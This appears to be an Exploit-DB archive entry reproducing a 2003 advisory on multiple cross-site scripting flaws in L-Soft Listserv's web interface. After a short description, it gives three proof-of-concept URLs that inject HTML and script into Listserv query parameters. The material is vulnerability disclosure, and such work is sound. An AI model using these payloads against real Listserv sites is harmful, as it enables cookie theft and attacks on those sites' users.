L-Soft 1.8 - Listserv Multiple Cross-Site Scripting Vulnerabilities

Author: http-equiv
type: webapps
platform: cgi
port: 
date_added: 2003-12-26  
date_updated: 2012-12-18  
verified: 1  
codes: OSVDB-3223  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 23485.txt  

source: https://www.securityfocus.com/bid/9307/info

Multiple cross-site scripting vulnerabilities have been reported in L-Soft Listserv. An attacker may exploit these issues by embedding hostile HTML and script code in a link to a site hosting the software. This could permit theft of cookie-based authentication credentials or other attacks. These issues could also provide an attack vector for latent vulnerabilities in web browser software.

http://www.example.com/SCRIPTS/WA-MSD.EXE?A0=<IMG%
20SRC=javascript:document['write'](location)>&T=malware is in the
zone<object>

http://www.example.com/SCRIPTS/WA-USIAINFO.EXE?
A1=<img>ind0312d&L=dosback

http://www.example.com/Scripts/wa-demo.exe?A1=ind9807&L=demo<img>